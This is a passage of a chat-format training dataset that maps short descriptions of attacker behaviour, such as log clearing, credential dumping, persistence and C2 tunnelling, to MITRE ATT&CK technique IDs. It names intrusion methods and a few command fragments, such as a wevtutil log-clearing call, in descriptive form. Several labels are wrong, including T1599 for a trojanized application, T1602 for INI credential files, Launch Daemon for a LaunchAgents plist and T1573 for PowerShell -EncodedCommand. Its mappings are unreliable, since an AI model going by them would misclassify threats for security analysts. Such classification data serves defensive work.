                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker executes a series of ARP scans on the local network to discover hosts and then runs vulnerability checks on each."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs dynamic resolution of a malicious domain by issuing HTTP requests to a victim's DNS resolver."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker clears the PowerShell console history after executing commands."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses ROMMON to bypass secure boot and inject harmful code into the device's firmware."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries extract email addresses from compromised corporate directories using automated queries."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a man-in-the-middle proxy to intercept TOTP codes generated by a user's authenticator app."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses token impersonation to execute a scheduled task as SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors inject a custom Group Policy Preference item that places a malicious executable in the startup folder of all domain machines."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Explain the process an attacker would use to create and deploy a Trojanized application to gain access to sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1599 - Software Replication through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware generates command strings dynamically using string reversal and then executes them via cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker downloads and tailors exploit code from public bug bounty disclosures to strengthen their arsenal."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a Python script, the attacker sent unauthenticated requests to the metadata server's /computeMetadata/v1/instance/service-accounts/default/token endpoint to obtain a bearer token."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware modifies the com.apple.smb.server.plist to change SMB share permissions and spread laterally."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits misconfigured access controls on a Git server to copy the entire repository hierarchy."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group utilizes credential dumping via the Windows Credential Manager to retrieve stored passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware utilizes the \"cmd.exe /c net start\" command to start a newly created malicious service after installation."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits the dynamic linking process by providing a tampered shared object that is loaded whenever the target application starts."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scans for and reads INI configuration files that store service account credentials."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder utilizes a custom Python script that sends LDAP replication requests to the DC, effectively performing a DCSync operation."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious voice message is left on the victim’s voicemail, urging them to call a fake help line to resolve a security alert."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies a WordPress theme file to add a hidden form that forwards user credentials to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan adds a GUID under the Active Setup registry path and sets the StubPath value to a malicious payload, ensuring execution at each logon."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team member searches public PKI databases for expired certificates that can be reissued for spoofing."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged Confluence's page tree API to locate and download hidden pages containing secrets."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware abuses the Outlook COM object to iterate through the Inbox folder and save emails locally."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker rents a virtual private server from a low-cost provider to host malware command and control."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group acquired a commercial remote access trojan via a phishing email attachment and deployed it on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate customer data by physically removing a USB flash drive that has been pre‑installed with data‑stealing malware on the target system."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker acquires exclusive vulnerability disclosures from a restricted threat intel subscription."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious add‑in is installed in the Office Add‑ins directory, causing the payload to execute each time the user launches Word or Excel."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the PowerShell cmdlet Get-LocalUser to list local accounts on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the permissions of /var/log/auth.log to 777, allowing any user to read authentication logs and harvest credentials on a Linux server."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages the at command to create a one-time job that executes a ransomware executable."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses scheduled tasks with hidden attributes to maintain persistence without alerting users."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses covert channels by embedding data within DHCP lease requests, masquerading as normal network configuration traffic."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the rc.local startup script to run a credential‑harvesting tool each time the system starts."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: RC Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor drops a launch daemon plist in ~/Library/LaunchAgents to maintain user-level persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set leverages TLS tunneling over port 443 to hide C2 communications within normal web traffic."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By generating a malicious session cookie, the threat actor impersonates a legitimate user and extracts sensitive data from the application."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware clears persistence by deleting registry keys that point to malicious executables in the startup folder."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group uses PowerShell to retrieve the Application event log entries for installed software details."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Create a Botnet out of compromised IoT devices for distributed attacks that are harder to track"
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor clears Windows event logs related to network connections and resets firewall state information."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor generated an image copy of a compromised Azure VM to retain a persistently usable backup."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised automation tool executes a cloud command that deprovisions EC2 instances."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By issuing TGS‑REQs for service accounts and capturing the resulting TGS tickets, the threat actor performs offline password cracking to steal Kerberos tickets."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder clones the badge and biometrics of an authorized employee to physically access restricted areas of the facility."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware masquerades as a legitimate Windows service to persist on the system."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers pad the binary with junk data and no‑ops to obscure the true code and bypass static analysis."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used PowerShell to clear the Security, System, and Application event logs on the compromised Windows host to hide their tracks."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes Mavinject to inject code into a trusted system binary, effectively disguising malicious activity as legitimate process behavior."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses the \"kubectl get nodes\" command to discover the cluster's node inventory and their labels."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involved running a batch file that called \"wevtutil /clear-log\" to remove evidence from event logs."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker exploits a misconfigured NFS share on a Linux server to read sensitive files."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a cross-site scripting (XSS) vulnerability to inject code that logs credential fields on a public-facing web portal."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script reads SSH private keys from the .ssh directory on the compromised Linux host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fileless malware variant creates an encrypted channel via PowerShell's -EncodedCommand parameter."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain compromise occurs when a popular open‑source library is injected with malicious code."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploited insecure permissions on a service's configuration file, modifying it to launch a payload with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set abuses RealVNC's remote desktop feature to execute PowerShell commands on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using domain fronting, threat actors exploit CDN infrastructure to hide command-and-control communications behind popular website domains."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the system's boot configuration data (BCD) to load a malicious driver at startup."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group places a .lnk file in the startup folder that targets a hidden batch file, ensuring the batch file runs on system start."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The red team conducted a credential reuse test by authenticating with a legitimate local user account to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using eBPF, the adversary implements a socket filter that mirrors traffic to an external host for data collection."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code repurposes legitimate POP3 sessions to conceal its data transfers."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware inspects the registry for virtualization keys and aborts execution if it detects a virtual machine environment."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies system proxy settings to point to a malicious internal proxy, forcing all web requests to pass through their control point."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious XSL stylesheet contains an <msxsl:script> element that executes VBScript code, allowing the attacker to download and execute a payload."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group sets up an internal proxy on a compromised server to forward malicious traffic, effectively hiding their true IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan records audio from the victim's microphone during voice calls."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary enumerates installed device drivers on the compromised host to identify vulnerable components."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs voice phishing to obtain login credentials by posing as a bank representative."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs Mavinject to corrupt a legitimate process memory, enabling execution of malicious code via a trusted binary."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a weakness in a remote desktop protocol implementation to execute arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a legitimate AWS S3 bucket to stage confidential documents prior to transfer."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the ListPlanting technique to add a malicious DLL entry to the in‑memory process list of a trusted service, achieving code execution."
